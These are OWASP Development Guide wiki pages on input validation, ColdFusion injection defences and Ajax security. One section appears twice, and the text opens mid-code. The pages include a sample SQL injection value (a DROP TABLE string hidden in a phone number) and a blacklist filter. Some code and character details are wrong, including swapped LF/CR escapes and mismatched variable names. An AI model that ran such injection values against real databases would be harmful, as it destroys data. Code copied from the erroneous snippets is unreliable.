<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfreturn retargs>

</cffunction>

</pre>

==Delimiter and special characters ==

There are many characters that mean something special to various programs. If you followed the advice only to accept characters that are considered good, it is very likely that only a few delimiters will catch you out.

Here are the usual suspects:

* NULL (zero) %00

* LF - ANSI chr(10) "\r"

* CR - ANSI chr(13) "\n"

* CRLF - "\n\r"

* CR - EBCDIC 0x0f

* Quotes " '

* Commas, slashes spaces and tabs and other white space - used in CSV, tab delimited output, and other specialist formats

* <> - XML and HTML tag markers, redirection characters

* ; & - Unix and NT file system continuance

* @ - used for e-mail addresses

* 0xff

* ... more

Whenever you code to a particular technology, you should determine which characters are "special" and prevent them appearing in input, or properly escaping them.

==Further Reading ==

* ASP.NET 2.0 Viewstate

http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToConfigureTheMachineKeyInASPNET2

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Validation]]
[[Category:Encoding]]

Data Validation

2009-05-01T12:11:00Z

KirstenS: /* Selects, radio buttons, and checkboxes */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure that the application is robust against all forms of input data, whether obtained from the user, infrastructure, external entities or database systems.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS11 – Manage Data. All sections should be reviewed

==Description ==

The most common web application security weakness is the failure to properly validate input from the client or environment. This weakness leads to almost all of the major vulnerabilities in applications, such as [[Interpreter Injection]], locale/Unicode attacks, file system attacks and buffer overflows. Data from the client should never be trusted for the client has every possibility to tamper with the data.

In many cases, [[Encoding]] has the potential to defuse attacks that rely on lack of input validation. For example, if you use HTML entity encoding on user input before it is sent to a browser, it will prevent most [[Cross-site Scripting (XSS)|XSS]] attacks. However, simply preventing attacks is not enough - you must perform [[Intrusion Detection]] in your applications. Otherwise, you are allowing attackers to repeatedly attack your application until they find a vulnerability that you haven't protected against. Detecting attempts to find these weaknesses is a critical protection mechanism.

==Definitions ==

These definitions are used within this document:

* '''Integrity checks'''

Ensure that the data has not been tampered with and is the same as before

* '''Validation'''

Ensure that the data is strongly typed, correct syntax, within length boundaries, contains only permitted characters, or that numbers are correctly signed and within range boundaries

* '''Business rules'''

Ensure that data is not only validated, but business rule correct. For example, interest rates fall within permitted boundaries.

Some documentation and references interchangeably use the various meanings, which is very confusing to all concerned. This confusion directly causes continuing financial loss to the organization.

==Where to include integrity checks ==

Integrity checks must be included wherever data passes from a trusted to a less trusted boundary, such as from the application to the user's browser in a hidden field, or to a third party payment gateway, such as a transaction ID used internally upon return.

The type of integrity control (checksum, HMAC, encryption, digital signature) should be directly related to the risk of the data transiting the trust boundary.

==Where to include validation ==

Validation must be performed on every tier. However, validation should be performed as per the function of the server executing the code. For example, the web / presentation tier should validate for web related issues, persistence layers should validate for persistence issues such as SQL / HQL injection, directory lookups should check for LDAP injection, and so on.

==Where to include business rule validation ==

Business rules are known during design, and they influence implementation. However, there are bad, good and "best" approaches. Often the best approach is the simplest in terms of code.

===Example - Scenario ===

* You are to populate a list with accounts provided by the back-end system
* The user will choose an account, choose a biller, and press next

===Wrong way===

The account select option is read directly and provided in a message back to the backend system without validating the account number if one of the accounts provided by the backend system.

===Why this is bad===

An attacker can change the HTML in any way they choose:

* The lack of validation requires a round-trip to the backend to provide an error message that the front end code could easily have eliminated

* The back end may not be able to cope with the data payload the front-end code could have easily eliminated. For example, buffer overflows, XML injection, or similar.

===Acceptable Method ===

The account select option parameter ("payee_id") is read by the code, and compared to an already-known list.

<code>
<pre>
if (account.hasPayee( session.getParameter("payee_id") )) {
backend.performTransfer( session.getParameter("payee_id") );
}
</pre>
</code>

This prevents parameter tampering, but requires the list of possible payee_id's to be to be calculated beforehand.

===Best Method ===

The original code emitted indexes <option value="1" ... > rather than account names.

''int payeeLstId = session.getParameter('payeelstid');''

''accountFrom = account.getAcctNumberByIndex(payeeLstId);''

Not only is this easier to render in HTML, it makes validation and business rule validation trivial. The field cannot be tampered with.



===Conclusion ===

To provide defense in depth and to prevent attack payloads from trust boundaries, such as backend hosts, which are probably incapable of handling arbitrary input data, business rule validation is to be performed (preferably in workflow or command patterns), even if it is known that the back end code performs business rule validation.

This is not to say that the entire set of business rules need be applied - it means that the fundamentals are performed to prevent unnecessary round trips to the backend and to prevent the backend from receiving most tampered data.

==Data Validation Strategies ==

There are four strategies for validating data, and they should be used in this order:

===Accept known good===

This strategy is also known as "whitelist" or "positive" validation. The idea is that you should check that the data is one of a set of tightly constrained known good values. Any data that doesn't match should be rejected. Data should be:

* Strongly typed at all times
* Length checked and fields length minimized
* Range checked if a numeric
* Unsigned unless required to be signed
* Syntax or grammar should be checked prior to first use or inspection

If you expect a postcode, validate for a postcode (type, length and syntax):

<code>
<pre>
public String isPostcode(String postcode) {
return (postcode != null && Pattern.matches("^(((2|8|9)\d{2})|((02|08|09)\d{2})|([1-9]\d{3}))$", postcode)) ? postcode : "";
}
</pre>
</code>

Coding guidelines should use some form of visible tainting on input from the client or untrusted sources, such as third party connectors to make it obvious that the input is unsafe:

<code>
<pre>
String taintPostcode = request.getParameter("postcode");
ValidationEngine validator = new ValidationEngine();
boolean isValidPostcode = validator.isPostcode(taintPostcode);
</pre>
</code>

===Reject known bad===

This strategy, also known as "negative" or "blacklist" validation is a weak alternative to positive validation. Essentially, if you don't expect to see characters such as %3f or JavaScript or similar, reject strings containing them. This is a dangerous strategy, because the set of possible bad data is potentially infinite. Adopting this strategy means that you will have to maintain the list of "known bad" characters and patterns forever, and you will by definition have incomplete protection.

<pre>

public String removeJavascript(String input) {

Pattern p = Pattern.compile("javascript", CASE_INSENSITIVE);

p.matcher(input);

return (!p.matches()) ? input : '';

}
</pre>
[[Category:FIXME|Is the CSS Cheat Sheet in the current development guide? I wanted to link to that and couldn't find it ]]
It can take upwards of 90 regular expressions (see the CSS Cheat Sheet in the Development Guide 2.0) to eliminate known malicious software, and each regex needs to be run over every field. Obviously, this is slow and not secure. Just rejecting "current known bad" (which is at the time of writing hundreds of strings and literally millions of combinations) is insufficient if the input is a string. This strategy is directly akin to anti-virus pattern updates. Unless the business will allow updating "bad" regexes on a daily basis and support someone to research new attacks regularly, this approach will be obviated before long.

===Sanitize===

Rather than accept or reject input, another option is to change the user input into an acceptable format

==== Sanitize with Whitelist ====

Any characters which are not part of an approved list can be removed, encoded or replaced.

Here are some examples:

If you expect a phone number, you can strip out all non-digit characters. Thus, "(555)123-1234", "555.123.1234", and "555\";DROP TABLE USER;--123.1234" all convert to 5551231234. Note that you should proceed to validate the resulting numbers as well. As you see, this is not only beneficial for security, but it also allows you to accept and use a wider range of valid user input.

If you want text from a user comment form, it is difficult to decide on a legitimate set of characters because nearly every character has a legitimate use. One solution is to replace all non alphanumeric characters with an encoded version, so "I like your web page", might emerge from your sanitation routines as "I+like+your+web+page%21". (This example uses [http://en.wikipedia.org/wiki/Url_encoding URL encoding].)

You can also go one step further. Say you want to set up a site where users can upload arbitrary files so they can share them or download them again from another location. In this case validation is impossible because there is no valid or invalid content. Because your only concern is protecting your app from malicious input and you don't need to actually do anything except accept, store and transmit the file, you can encode the entire file in, say [http://en.wikipedia.org/wiki/Base64 base 64].

==== Sanitize with Blacklist ====

Eliminate or translate characters (such as to HTML entities or to remove quotes) in an effort to make the input "safe".
Like blacklists, this approach requires maintenance and is usually incomplete. As most fields have a particular grammar, it is simpler, faster, and more secure to simply validate a single correct positive test than to try to include complex and slow sanitization routines for all current and future attacks.

<code>
<pre>
public String quoteApostrophe(String input) {
if (input != null)
return input.replaceAll("[\']", "&rsquo;");
else
return null;
}
</pre>
</code>

===No validation===

This is inherently unsafe and strongly discouraged. The business must sign off each and every example of no validation as the lack of validation usually leads to direct obviation of application, host and network security controls.

account.setAcctId(getParameter('formAcctNo'));
...

public setAcctId(String acctId) {
cAcctId = acctId;
}

==Prevent parameter tampering ==

There are many input sources:

* HTTP headers, such as REMOTE_ADDR, PROXY_VIA or similar

* Environment variables, such as getenv() or via server properties

* All GET, POST and Cookie data

This includes supposedly tamper resistant fields such as radio buttons, drop downs, etc - any client side HTML can be re-written to suit the attacker

Configuration data (mistakes happen :))

External systems (via any form of input mechanism, such as XML input, RMI, web services, etc)

All of these data sources supply untrusted input. Data received from untrusted data sources must be properly checked before first use.

==Hidden fields ==

Hidden fields are a simple way to avoid storing state on the server. Their use is particularly prevalent in "wizard-style" multi-page forms. However, their use exposes the inner workings of your application, and exposes data to trivial tampering, replay, and validation attacks. In general, only use hidden fields for page sequence.

If you have to use hidden fields, there are some rules:

* Secrets, such as passwords, should never be sent in the clear

* Hidden fields need to have integrity checks and preferably encrypted using non-constant initialization vectors (i.e. different users at different times have different yet cryptographically strong random IVs)

* Encrypted hidden fields must be robust against replay attacks, which means some form of temporal keying

* Data sent to the user must be validated on the server once the last page has been received, even if it has been previously validated on the server - this helps reduce the risk from replay attacks.

The preferred integrity control should be at least a HMAC using SHA-256 or preferably digitally signed or encrypted using PGP. IBMJCE supports SHA-256, but PGP JCE support require the inclusion of the Legion of the Bouncy Castle (http://www.bouncycastle.org/) JCE classes.

It is simpler to store this data temporarily in the session object. Using the session object is the safest option as data is never visible to the user, requires (far) less code, nearly no CPU, disk or I/O utilization, less memory (particularly on large multi-page forms), and less network consumption.

In the case of the session object being backed by a database, large session objects may become too large for the inbuilt handler. In this case, the recommended strategy is to store the validated data in the database, but mark the transaction as "incomplete." Each page will update the incomplete transaction until it is ready for submission. This minimizes the database load, session size, and activity between the users whilst remaining tamperproof.

Code containing hidden fields should be rejected during code reviews.

==ASP.NET Viewstate ==

ASP.NET sends form data back to the client in a hidden “Viewstate” field. Despite looking forbidding, this “encryption” is simply plain-text equivalent (base64 encoding) and has no data integrity without further action on your behalf in ASP.NET 1.0. In ASP.NET 1.1 and 2.0, tamper proofing, called "enableViewStateMAC" is on by default using a SHA-1 hash.

Any application framework with a similar mechanism might be at fault – you should investigate your application framework’s support for sending data back to the user. Preferably it should not round trip.

===How to determine if you are vulnerable ===

These configurations are set hierarchically in the .NET framework. The machine.config file contains the global configuration; each web directory may contain a web.config file further specifying or overriding configuration; each page may contain @page directives specifying same configuration or overrides; you must check all three locations:

* If the enableViewStateMac is not set to “true”, you are at risk if your viewstate contains authorization state

* If the viewStateEncryptionMode is not set to “always”, you are at risk if your viewstate contains secrets such as credentials

* If you share a host with many other customers, you all share the same machine key by default in ASP.NET 1.1. In ASP.NET 2.0, it is possible to configure unique viewstate keys per application

===How to protect yourself ===

* If your application relies on data returning from the viewstate without being tampered with, you should turn on viewstate integrity checks at the least, and strongly consider:

* Encrypt viewstate if any of the data is application sensitive

* Upgrade to ASP.NET 2.0 as soon as practical if you are on a shared hosting arrangement

* Move truly sensitive viewstate data to the session variable instead

===Selects, radio buttons, and checkboxes ===

It is a commonly held belief that the value settings for these items cannot be easily tampered. This is wrong. In the following example, actual account numbers are used, which can lead to compromise:

<pre>

<html:radio value="<%=acct.getCardNumber(1).toString( )%>" property="acctNo">

<bean:message key="msg.card.name" arg0="<%=acct.getCardName(1).toString( )%>" />

<html:radio value="<%=acct.getCardNumber(1).toString( )%>" property="acctNo">

<bean:message key="msg.card.name" arg0="<%=acct.getCardName(2).toString( )%>" />
</pre>

This produces (for example):

<pre>
<input type="radio" name="acctNo" value="455712341234">Gold Card

<input type="radio" name="acctNo" value="455712341235">Platinum Card
</pre>

If the value is retrieved and then used directly in a SQL query, an interesting form of SQL injection may occur: authorization tampering leading to information disclosure. As the connection pool connects to the database using a single user, it may be possible to see other users' accounts if the SQL looks something like this:

<pre>
String acctNo = getParameter('acctNo');

String sql = "SELECT acctBal FROM accounts WHERE acctNo = '?'";

PreparedStatement st = conn.prepareStatement(sql);

st.setString(1, acctNo);

ResultSet rs = st.executeQuery();
</pre>

This should be re-written to retrieve the account number via index, and include the client's unique ID to ensure that other valid account numbers are exposed:

<pre
String acctNo = acct.getCardNumber(getParameter('acctIndex'));

String sql = "SELECT acctBal FROM accounts WHERE acct_id = '?' AND acctNo = '?'";

PreparedStatement st = conn.prepareStatement(sql);

st.setString(1, acct.getID());

st.setString(2, acctNo);

ResultSet rs = st.executeQuery();

</pre>

This approach requires rendering input values from 1 to ... x, and assuming accounts are stored in a Collection which can be iterated using logic:iterate:

<pre>

<logic:iterate id="loopVar" name="MyForm" property="values">

<html:radio property="acctIndex" idName="loopVar" value="value"/> 

<bean:write name="loopVar" property="name"/> 

</logic:iterate>

</pre>

The code will emit HTML with the values "1" .. "x" as per the collection's content.

<pre>

<input type="radio" name="acctIndex" value="1" />Gold Credit Card

<input type="radio" name="acctIndex" value="2" />Platinum Credit Card

</pre>

This approach should be used for any input type that allows a value to be set: radio buttons, checkboxes, and particularly select / option lists.

===Per-User Data ===

In fully normalized databases, the aim is to minimize the amount of repeated data. However, some data is inferred. For example, users can see messages that are stored in a messages table. Some messages are private to the user. However, in a fully normalized database, the list of message IDs are kept within another table:

<pre>
+------------------------+
| MESSAGES |
+------------------------+
| msgid | message |
+------------------------+
</pre>

If a user marks a message for deletion, the usual way is to recover the message ID from the user, and delete that:

DELETE FROM message WHERE msgid='frmMsgId'

However, how do you know if the user is eligible to delete that message ID? Such tables need to be denormalized slightly to include a user ID or make it easy to perform a single query to delete the message safely. For example, by adding back an (optional) uid column, the delete is now made reasonably safe:

DELETE FROM message WHERE uid='session.myUserID' and msgid='frmMsgId';

Where the data is potentially both a private resource and a public resource (for example, in the secure message service, broadcast messages are just a special type of private message), additional precautions need to be taken to prevent users from deleting public resources without authorization. This can be done using role based checks, as well as using SQL statements to discriminate by message type:

DELETE FROM message
WHERE
uid='session.myUserID' AND
msgid='frmMsgId' AND
broadcastFlag = false;

==URL encoding ==

Data sent via the URL, which is strongly discouraged, should be URL encoded and decoded. This reduces the likelihood of cross-site scripting attacks from working.

In general, do not send data via GET request unless for navigational purposes.

==HTML encoding ==

Data sent to the user needs to be safe for the user to view. This can be done using <bean:write ...> and friends. Do not use <%=var%> unless it is used to supply an argument for <bean:write...> or similar.

HTML encoding translates a range of characters into their HTML entities. For example, > becomes &gt; This will still display as > on the user's browser, but it is a safe alternative.

==Encoded strings ==

Some strings may be received in encoded form. It is essential to send the correct locale to the user so that the web server and application server can provide a single level of canoncalization prior to the first use.

Do not use getReader() or getInputStream() as these input methods do not decode encoded strings. If you need to use these constructs, you must decanoncalize data by hand.

==Data Validation and Interpreter Injection ==

This section focuses on preventing injection in ColdFusion. Interpreter Injection involves manipulating application parameters to execute malicious code on the system. The most prevalent of these is SQL injection but it also includes other injection techniques, including LDAP, ORM, User Agent, XML, etc. – see the [[Reviewing_Code_for_OS_Injection|Interpreter Injection]] chapter of this document for greater details. As a developer you should assume that all input is malicious. Before processing any input coming from a user, data source, component, or data service it should be validated for type, length, and/or range. ColdFusion includes support for Regular Expressions and CFML tags that can be used to validate input.

'''SQL Injection'''

[[SQL Injection]] involves sending extraneous SQL queries as variables. ColdFusion provides the <cfqueryparam> and <cfprocparam> tags for validating database parameters. These tags nests inside <cfquery> and <cfstoredproc>, respectively. For dynamic SQL submitted in <cfquery>, use the CFSQLTYPE attribute of the <cfqueryparam> to validate variables against the expected database datatype. Similarly, use the CFSQLTYPE attribute of <cfprocparam> to validate the datatypes of stored procedure parameters passed through <cfstoredproc>.

You can also strengthen your systems against SQL Injection by disabling the Allowed SQL operations for individual data sources. See the '''Configuration''' section below for more information.

'''LDAP Injection'''

[[LDAP injection]] is an attack used to exploit web based applications that construct LDAP statements based on user input. ColdFusion uses the <cfldap> tag to communicate with LDAP servers. This tag has an ACTION attribute which dictates the query performed against the LDAP. The valid values for this attribute are: add, delete, query (default), modify, and modifyDN. <cfldap> calls are turned into JNDI (Java Naming And Directory Interface) lookups. However, because <cfldap> wraps the calls, it will throw syntax errors if native JNDI code is passed to its attributes making LDAP injection more difficult.

'''XML Injection'''

Two parsers exist for XML data – SAX and DOM. ColdFusion uses DOM which reads the entire XML document into the server’s memory. This requires the administrator to restrict the size of the JVM containing ColdFusion. ColdFusion is built on Java therefore by default, entity references are expanded during parsing. To prevent unbounded entity expansion, before a string is converted to an XML DOM, filter out DOCTYPES elements.

After the DOM has been read, to reduce the risk of XML Injection use the ColdFusion XML decision functions: isXML(), isXmlAttribute(), isXmlElement(), isXmlNode(), and isXmlRoot(). The isXML() function determines if a string is well-formed XML. The other functions determine whether or not the passed parameter is a valid part of an XML document. Use the xmlValidate() function to validate external XML documents against a Document Type Definition (DTD) or XML Schema.

'''Event Gateway, IM, and SMS Injection'''

ColdFusion MX 7 enables Event Gateways, instant messaging (IM), and SMS (short message service) for interacting with external systems. Event Gateways are ColdFusion components that respond asynchronously to non-HTTP requests – e.g. instant messages, SMS text from wireless devices, etc. ColdFusion provides Lotus Sametime and XMPP (Extensible Messaging and Presence Protocol) gateways for instant messaging. It also provides an event gateway for interacting with SMS text messages.

Injection along these gateways can happen when end users (and/or systems) send malicious code to execute on the server. These gateways all utilize ColdFusion Components (CFCs) for processing. Use standard ColdFusion functions, tags, and validation techniques to protect against malicious code injection. Sanitize all input strings and do not allow un-validated code to access backend systems.

'''Best Practices'''

*Use the XML functions to validate XML input.

*Before performing XPath searches and transformations in ColdFusion, validate the source before executing.

*Use ColdFusion validation techniques to sanitize strings passed to xmlSearch for performing XPath queries.

*When performing XML transformations only use a trusted source for the XSL stylesheet.

*Ensure that the memory size of the Java Sandbox containing ColdFusion can handle large XML documents without adversely affecting server resources.

*Set the memory value to less than the amount of RAM on the server (-Xmx).

*Remove DOCTYPE elements from the XML string before converting it to an XML object.

*Using scriptProtect can be used to thwart most attempts of cross-site scripting. Set scriptProtect to All in the Application.cfc.

*Use <cfparam> or <cfargument> to instantiate variables in ColdFusion. Use this tag with the name and type attributes. If the value is not of the specified type, ColdFusion returns an error.

*To handle untyped variables use IsValid() to validate its value against any legal object type that ColdFusion supports.

*Use <cfqueryparam> and <cfprocparam> to valid dynamic SQL variables against database datatypes.

*Use CFLDAP for accessing LDAP servers. Avoid allowing native JNDI calls to connect to LDAP.

'''Best Practice in Action'''

The sample code below shows a database authentication function using some of the input validation techniques discussed in this section.

<pre>
<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfreturn retargs>

</cffunction>

</pre>

==Delimiter and special characters ==

There are many characters that mean something special to various programs. If you followed the advice only to accept characters that are considered good, it is very likely that only a few delimiters will catch you out.

Here are the usual suspects:

* NULL (zero) %00

* LF - ANSI chr(10) "\r"

* CR - ANSI chr(13) "\n"

* CRLF - "\n\r"

* CR - EBCDIC 0x0f

* Quotes " '

* Commas, slashes spaces and tabs and other white space - used in CSV, tab delimited output, and other specialist formats

* <> - XML and HTML tag markers, redirection characters

* ; & - Unix and NT file system continuance

* @ - used for e-mail addresses

* 0xff

* ... more

Whenever you code to a particular technology, you should determine which characters are "special" and prevent them appearing in input, or properly escaping them.

==Further Reading ==

* ASP.NET 2.0 Viewstate

http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToConfigureTheMachineKeyInASPNET2

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Validation]]
[[Category:Encoding]]

Ajax and Other "Rich" Interface Technologies

2009-04-29T12:30:16Z

KirstenS: /* Access control: Authentication and Authorization */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__

'''''Style is time’s fool. Form is time’s student – Stewart Brand '''''

Ajax applications, often styled as “Web 2.0”, are not a form of magic security pixie dust. Instead, there are two classes of applications: secure and insecure. This is independent of the use of Ajax or similar technologies that preceded it, such as Flash, applets, or ActiveX. With some effort, Ajax applications can be secure. Unfortunately, many are not, which is the '''''raison d’être''''' of this chapter.

The acronym AJAX stands for Asynchronous JavaScript and XML. These technologies underpinning Ajax are not new – they first appeared in 1998 with Microsoft Outlook Web Access in Exchange Server 5.5. “Web 2.0” was defined by Tim O’Reilly to mean highly peer-to-peer dynamic applications. Such applications include del.icio.us library that allows users to share their libraries’ details, or Flickr that allows users to share their photos in a highly interactive way. We define “Ajax applications” as those that use the XMLHttpRequest object to asynchronously call the server and receive replies, regardless of how they handle or display the received data, or if they are public peer-to-peer low value applications such as forum software or highly sensitive private data, such as a tax return lodgment application.

Ajax enabled applications aim to increase the interactivity and richness of the web interface. Secure Ajax applications are achievable at minimal cost increase as long as security is considered during design and tested throughout development.

Compliance with disability laws is mandatory for all government and most corporate organizations. Ajax framework developers who wish to be used by these types of organizations must ensure their code supports common accessibility aides. Ajax framework users should select frameworks that produce accessible output and design their applications to be accessible and test regularly. In most countries, to do otherwise is simply deliberate negligence, and is often harshly punished by the courts.

Ajax applications face '''''exactly the same '''''security issues as all other web applications, plus they add their own particular set of risks that must be correctly managed. By their complex, bidirectional, and asynchronous nature, Ajax applications increase attack surface area.

Use of Ajax (or any rich interface) requires careful consideration of architecture, server-side access control, state management, and strong validation to prevent attacks. Without considering these basic controls, even brochure-ware websites, such as car manufacturer websites, can be a hazard to both the user and the web site owner’s reputation and thus sales.

At the time of writing, there is a multitude of Ajax frameworks and add-ons, and many more being written every day. Users of Ajax frameworks should ensure that their chosen framework meets the security risks of their particular application, and does not impose an unsecurable architecture upon them.

Developers of Ajax frameworks should investigate the controls presented in this chapter, and associated controls documented throughout the rest of this book to ensure that their approach is simple, accessible, and secure.

==Objective ==

To ensure that AJAX (and all “rich” interactive interfaces, such as Flash and Shockwave) have adequate:

* Secure Communications

* Authentication and Session Management

* Access Control

* Input Validation

* Error Handling and Logging

To prevent applications from being attacked using known attack vectors, such as unauthorized access, injection attacks, and so on.

==Platforms Affected ==

* All Server Platforms

* Web applications which use Ajax, ActiveX, Flash or Shockwave

* Clients which are required to use such applications

==Architecture ==

Appropriate security architecture should be considered when implementing Ajax front ends. Some Ajax frameworks will proudly display that they are 100% client based, with no server side controls, such as Tibco and Atlas (an Ajax framework for .NET).

Strong security architecture provides adequate defense in depth, and architecturally correct placement of key security controls. For more details, see the Security Architecture chapter.
[[Category:FIXME|I wanted to make Security Architecture a link, but I am not sure what section it refers to]]

For some types of applications, such as brochure-ware and non-interactive applications, such as stock tickers, this is acceptable security architecture as the risks are low – it would be hard to obviate the security controls to lose actual money. However, as the risk of the application increases, the threats and countermeasures required also increase.

'''Architecture by example '''

For the purposes of this section, irs.gov.ex, a taxation department of a fictitious country, has decided to implement an Ajax enabled electronic lodgment and tracking service for all of its 100 million taxpayers. A key reason to move to the new system is to reduce the workload on existing staff for the 90+% of tax returns that could be processed automatically … as long as the taxpayers do not deliberately lie, deceive, or cheat the system. Which of course, they do regularly.

They bought a fancy new Enterprise Service Bus (ESB), to which they hooked up their old but incredibly reliable mainframe backend, their SAP R/3 implementation that writes the checks and tax invoices, and several other key systems.

This particular ESB, like many on the market today, has no data validation, authentication, or authorization controls of its own; it is a simple web-service integration layer. The ESB expects that the underlying systems will perform adequate validation and authorization to prevent abuse, as the software company that wrote the ESB expected that all calling systems would be trusted, internal systems. Hooking up a dynamic web site where the users are known to be relentless, eager, and motivated tax avoiders changes the risk profile of a previously internal system with trusted staff.

The tax department does not want to change existing systems as they are in production and stable. More to the point, they cannot change their mainframe code easily - their skilled mainframe programmers either were promoted to senior management or retired 15 years ago, and it would be extremely costly to hire new mainframe developers, and impossible to change how the third party systems work, like SAP or their anti-fraud system.

Old code, such as COBOL CICS transactions, or previously internal only systems such as SAP R/3, have a different trust model than highly dynamic Internet connected websites. It is highly likely such systems have never been tested against now common attacks, such as HTML injection (XSS), DOM injection, XML query attacks, or similar. Without any intermediate code to protect these older systems, they are at immense risk.

The tax department selected a simple solution in the belief it will save money. In this first example, the bulk of the business logic is contained in deployed JavaScript applications. All of the business logic, validation, and state are contained in the client’s browser, and it makes direct calls to the enterprise service bus.

However, this model is simply broken: the previously generic process orchestration service will need to become far more aware of the caller’s identity (to provide authentication and enforce authorization), maintain secure state, and provide validation services that have previously been performed on the client.

[[Image:Insecure Security and state maintained on the client.gif]]

This security model is akin to leaving the keys to the Reserve Bank at the train station notice board. There is no method of protecting this model without significant replication of the business logic and re-validating all the state at the enterprise service bus, or similar web service endpoints.

Many enterprises, including irs.gov.ex, have taken to service oriented architecture (SOA), which uses web services enabling re-use of pre-existing transactions and systems, such as SAP or Siebel, or custom transactions running on mainframes. If an Ajax framework is connected to such SOA endpoints, such as an enterprise service bus, or directly to a backend data warehouse or other persistent store, there is no ability to validate the calling identity, authorize the transaction, validate the data, or any other normal security activity. So this model will not do.

In the next model, which is how most PHP application frameworks work today, the Ajax xmlrpc endpoint is not necessarily well integrated with the main application.

[[Image: Insecure Ajax Web Service Endpoint separate from the main application.gif]]

In this model, if the Ajax endpoint cannot or does not access secure state, or associate the call with the active session, a hostile caller could emulate an active session and call protected resources with minimal skills or tools. This vulnerability has already been demonstrated with several popular Ajax PHP toolkits on Bugtraq, and probably applies to other less well-known toolkits for other languages and platforms.

The best way to protect both of these models is to bring them back to the normal three-tier application model:

[[Image: Better Shared business logic in the middle tier with different front ends.gif]]

In this model, which is akin to how GMail works, the application is still significantly Ajax enabled, and provides a rich experience to the user. However, this code is backed by:

* A solid session management scheme to ensure that authentication and authorization is performed in a trusted part of the architecture

* Data validation is performed in both directions on the server-side at various layers to limit or prevent injection and other attacks

* All calls to the backend services are performed by trusted server-side business logic

* The layered architecture allows reasonable trust of the caller at the ESB level as the data has been significantly authorized and validated

This means that the ESB and its published services, such as 40 year old COBOL code, do not need to be particularly aware of the implications of being made available to the Internet. This enables higher levels of re-use and reduces costs.

Although more complex to the project implementing the Ajax enabled application, to the funding business, this architecture is the cheapest way of maintaining security whilst avoiding updating or maintaining ancient or third party code.

Selecting the correct architecture is unfortunately not a checklist – it is a balance of risk versus cost. However, as demonstrated in this section, client-side heavy architecture models are completely untrustworthy for transactional systems and should be avoided.

==Access control: Authentication and Authorization ==
[[Category:FIXME|Starting here, should these sections be part of this article? Or do they go somewhere else with links here?]]

Ajax code uses the XMLHttpRequest object, which will send the cookies of the current browser context through with each request. For applications which have user sessions, it is vital that normal authentication paths are used to ensure that the caller is known to the application. Brochure-ware applications can skip this section as they allow anonymous calling.

'''How to determine if you are vulnerable '''

If you have transactions or calls that are not to be used by anonymous callers, check that client-side code cannot call them without an established user context.

To do this:

* Fire up your favorite proxy tool, such as WebScarab

* Generate an authenticated XMLHttpRequest using the browser

* Right click on the resulting entry in WebScarab, click “Re-send”

* Edit out the cookie

See if a valid result is returned. If yes, you are vulnerable. Repeat for every Ajax enabled server-side service.

'''Countermeasures '''

Ensure that every Ajax callable function, whether XMLRPC, custom code, or a web service verify the session and authorization.

For example, in typical Ajax style, CPaint uses this insecure example:
<pre>

<?php?

function calculate_tax($sales_amount)

{

return($sales_amount * 0.075);?

}?

?>
</pre>

Let’s add some session authentication, authorization and data validation, and business rule validation:

<pre>
<?php?

function calculate_tax($sales_amount)

{

// check that the session is logged in ?

assert_login();

// check that the user has the USER role to prevent

// guest and admin access

assert_role(‘USER’);

// Validate data and business rules

if ( is_numeric($sales_amount) && $sales_amount > 0 )

{

// Perform the calculation and return

return($sales_amount * 0.075);?

}

// Data failed validation and business rules

return -1;

}

?>
</pre>

With these simple changes, we ensure that:

* (Authentication) Enforce that the user is logged on

* (Authorization and Compliance) Enforce role authorization and provide SOX-compliant segregation of duties

* (Data Validation) Ensure that the data is safe to perform our calculation

* (Business Rule Validation) Lastly, check the data is within acceptable business rule boundaries as it is not a good idea to calculate tax for negative and zero values

Obviously, performing a tax rate calculation is not that important, but if it was an insurance premium calculator (which uses highly sensitive actuary data) this is the minimum you would expect to see for sensitive code.

==Silent transactional authorization ==

Any system that silently processes transactions using a single submission is dangerous to the client. For example, if a normal web application allows a simple URL submission, a preset session attack will allow the attacker to complete a transaction without the user’s authorization. In Ajax, it gets worse: the transaction is silent; it happens with no user feedback on the page, so an injected attack script may be able to steal money from the client without authorization.

'''How to determine if you are vulnerable '''

Determine if the application:

* Is vulnerable to DOM injection and can run arbitrary JavaScript

* If the browser allows execution of loaded JavaScript via URL entry, by navigating to the transaction submission page, and then typing in javascript:function(args). If the JavaScript is executed, it is likely that spyware will also be able to execute this code via the DOM model

'''Countermeasures '''

Ensure that all transactions are conducted with appropriate authorization, including transaction signing as necessary

==Untrusted or absent session data ==

A common mis-implementation with Ajax is the desire to call a second server.

[[Image:Ajax Second Server.gif]]

Session data on the first server usually contains relatively trustworthy authentication and authorization information, as well as sensitive state, but in general, the second server cannot access this information in a timely or safe fashion.

An example includes running an Ajax application on http://www.example.com, and the Ajax code is able to directly process share trades on http://market.somebiginvestmentfirm.com/ via the use of embedded trust or embedded credentials.

